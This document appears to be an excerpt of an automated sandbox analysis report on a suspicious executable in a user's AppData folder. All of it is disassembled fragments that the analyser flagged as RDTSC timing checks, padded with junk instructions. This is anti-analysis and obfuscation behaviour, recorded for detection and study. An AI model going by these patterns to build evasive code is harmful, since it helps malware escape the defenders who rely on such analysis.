Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C60C6C second address: 4C60C70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C50BC8 second address: 4C50BCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C50BCE second address: 4C50BD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C50BD2 second address: 4C50C36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FBC9118B8AEh 0x00000010 and ecx, 46A38A48h 0x00000016 jmp 00007FBC9118B8ABh 0x0000001b popfd 0x0000001c mov dx, si 0x0000001f popad 0x00000020 mov dword ptr [esp], ebp 0x00000023 pushad 0x00000024 movzx eax, dx 0x00000027 pushfd 0x00000028 jmp 00007FBC9118B8ADh 0x0000002d and si, 1766h 0x00000032 jmp 00007FBC9118B8B1h 0x00000037 popfd 0x00000038 popad 0x00000039 mov ebp, esp 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C50C36 second address: 4C50C49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC912593FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C50C49 second address: 4C50C4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C90641 second address: 4C90645 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C90645 second address: 4C9065B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b mov ebx, 1DDBB546h 0x00000010 mov ebx, 248DDFD2h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C9065B second address: 4C90661 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C90661 second address: 4C9068C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b jmp 00007FBC9118B8AEh 0x00000010 mov ebp, esp 0x00000012 pushad 0x00000013 pushad 0x00000014 mov dx, si 0x00000017 mov ecx, 6B2965DFh 0x0000001c popad 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C30135 second address: 4C3013A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C3013A second address: 4C30174 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cx, di 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b jmp 00007FBC9118B8B0h 0x00000010 mov dword ptr [esp], ebp 0x00000013 pushad 0x00000014 movzx esi, bx 0x00000017 popad 0x00000018 mov ebp, esp 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d call 00007FBC9118B8AEh 0x00000022 pop esi 0x00000023 mov bh, 7Fh 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C30174 second address: 4C30190 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBC91259408h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C30190 second address: 4C301A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C301A1 second address: 4C301A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C301A5 second address: 4C301AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C301AB second address: 4C301C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC912593FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C301C3 second address: 4C301DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC9118B8B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C508EB second address: 4C508EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C508EF second address: 4C508F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C508F5 second address: 4C508FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C508FB second address: 4C508FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C508FF second address: 4C5090E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C5090E second address: 4C50912 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C50912 second address: 4C50918 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C50918 second address: 4C5092C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, di 0x00000006 movsx edi, ax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 mov dx, si 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C5092C second address: 4C5094F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov ebx, esi 0x00000008 popad 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FBC91259407h 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C5094F second address: 4C50955 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C5052B second address: 4C5052F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C5052F second address: 4C50535 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C50535 second address: 4C5054E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC912593FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx ebx, ax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C5054E second address: 4C50553 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C50553 second address: 4C50559 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C50559 second address: 4C5055D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C50431 second address: 4C50451 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC912593FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FBC912593FCh 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C50451 second address: 4C50456 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C50456 second address: 4C504A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007FBC91259407h 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f mov cl, dl 0x00000011 popad 0x00000012 mov ebp, esp 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov ch, dl 0x00000019 pushfd 0x0000001a jmp 00007FBC912593FEh 0x0000001f add ax, 3DD8h 0x00000024 jmp 00007FBC912593FBh 0x00000029 popfd 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C504A2 second address: 4C504BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBC9118B8B4h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C504BA second address: 4C504BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C50202 second address: 4C50215 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC9118B8AFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C50215 second address: 4C50265 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 039Ah 0x00000007 mov si, di 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007FBC912593FAh 0x00000013 mov dword ptr [esp], ebp 0x00000016 pushad 0x00000017 call 00007FBC912593FEh 0x0000001c call 00007FBC91259402h 0x00000021 pop ecx 0x00000022 pop edi 0x00000023 movzx eax, dx 0x00000026 popad 0x00000027 mov ebp, esp 0x00000029 pushad 0x0000002a movsx ebx, ax 0x0000002d popad 0x0000002e pop ebp 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C50265 second address: 4C50269 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C50269 second address: 4C5026F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C50E83 second address: 4C50E87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C50E87 second address: 4C50EA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC91259407h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C50EA2 second address: 4C50EBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBC9118B8B4h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C50EBA second address: 4C50EBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C50EBE second address: 4C50F46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007FBC9118B8ACh 0x0000000e mov dword ptr [esp], ebp 0x00000011 pushad 0x00000012 mov ax, AD2Dh 0x00000016 jmp 00007FBC9118B8AAh 0x0000001b popad 0x0000001c mov ebp, esp 0x0000001e pushad 0x0000001f call 00007FBC9118B8AEh 0x00000024 call 00007FBC9118B8B2h 0x00000029 pop ecx 0x0000002a pop edx 0x0000002b pushfd 0x0000002c jmp 00007FBC9118B8B0h 0x00000031 sub cx, 1F58h 0x00000036 jmp 00007FBC9118B8ABh 0x0000003b popfd 0x0000003c popad 0x0000003d pop ebp 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007FBC9118B8B5h 0x00000045 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C50F46 second address: 4C50F4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C50F4C second address: 4C50F50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C9060B second address: 4C90623 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBC91259404h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C7002E second address: 4C7004F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC9118B8ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FBC9118B8ADh 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C7004F second address: 4C70077 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC91259401h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007FBC912593FAh 0x00000012 pop eax 0x00000013 movsx ebx, si 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C70077 second address: 4C700B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC9118B8ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FBC9118B8AEh 0x0000000f mov ebp, esp 0x00000011 jmp 00007FBC9118B8B0h 0x00000016 mov eax, dword ptr [ebp+08h] 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C700B2 second address: 4C700B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C700B8 second address: 4C700F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, al 0x00000005 mov ch, bl 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a and dword ptr [eax], 00000000h 0x0000000d jmp 00007FBC9118B8B6h 0x00000012 and dword ptr [eax+04h], 00000000h 0x00000016 pushad 0x00000017 call 00007FBC9118B8AEh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C50375 second address: 4C50384 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC912593FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C50384 second address: 4C5038A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C5038A second address: 4C5038E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C60B13 second address: 4C60B17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C60B17 second address: 4C60B1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C60B1B second address: 4C60B21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C60B21 second address: 4C60B30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBC912593FBh 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C60B30 second address: 4C60B34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C60B34 second address: 4C60B43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C60B43 second address: 4C60B47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C60B47 second address: 4C60B4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C60D3E second address: 4C60D6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC9118B8B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov ecx, 462CE853h 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push ecx 0x00000016 pop edx 0x00000017 mov ebx, eax 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C60D6C second address: 4C60DBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007FBC912593FBh 0x0000000b add cx, 3BEEh 0x00000010 jmp 00007FBC91259409h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FBC91259408h 0x00000023 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C60DBC second address: 4C60DCB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC9118B8ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C60DCB second address: 4C60DF9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC91259409h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov di, cx 0x0000000f movzx eax, bx 0x00000012 popad 0x00000013 pop ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C60DF9 second address: 4C60E15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC9118B8B8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C80DD3 second address: 4C80DD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C80DD9 second address: 4C80DDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C80DDD second address: 4C80E27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jmp 00007FBC91259400h 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007FBC91259400h 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b jmp 00007FBC91259408h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C80E27 second address: 4C80E2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C80E2D second address: 4C80E31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C80E31 second address: 4C80E40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C80E40 second address: 4C80E46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C80E46 second address: 4C80E63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBC9118B8B9h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C80E63 second address: 4C80EC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC91259401h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ecx 0x0000000e jmp 00007FBC912593FEh 0x00000013 mov eax, dword ptr [76FA65FCh] 0x00000018 jmp 00007FBC91259400h 0x0000001d test eax, eax 0x0000001f jmp 00007FBC91259400h 0x00000024 je 00007FBD034FBEAAh 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d mov bx, AC20h 0x00000031 mov ax, di 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C9000E second address: 4C9004E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 call 00007FBC9118B8B7h 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f pushad 0x00000010 mov ebx, eax 0x00000012 popad 0x00000013 mov dword ptr [esp], ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FBC9118B8B6h 0x0000001d rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 4C9004E second address: 4C90062 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 3A44h 0x00000007 mov eax, edx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e pushad 0x0000000f mov eax, edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
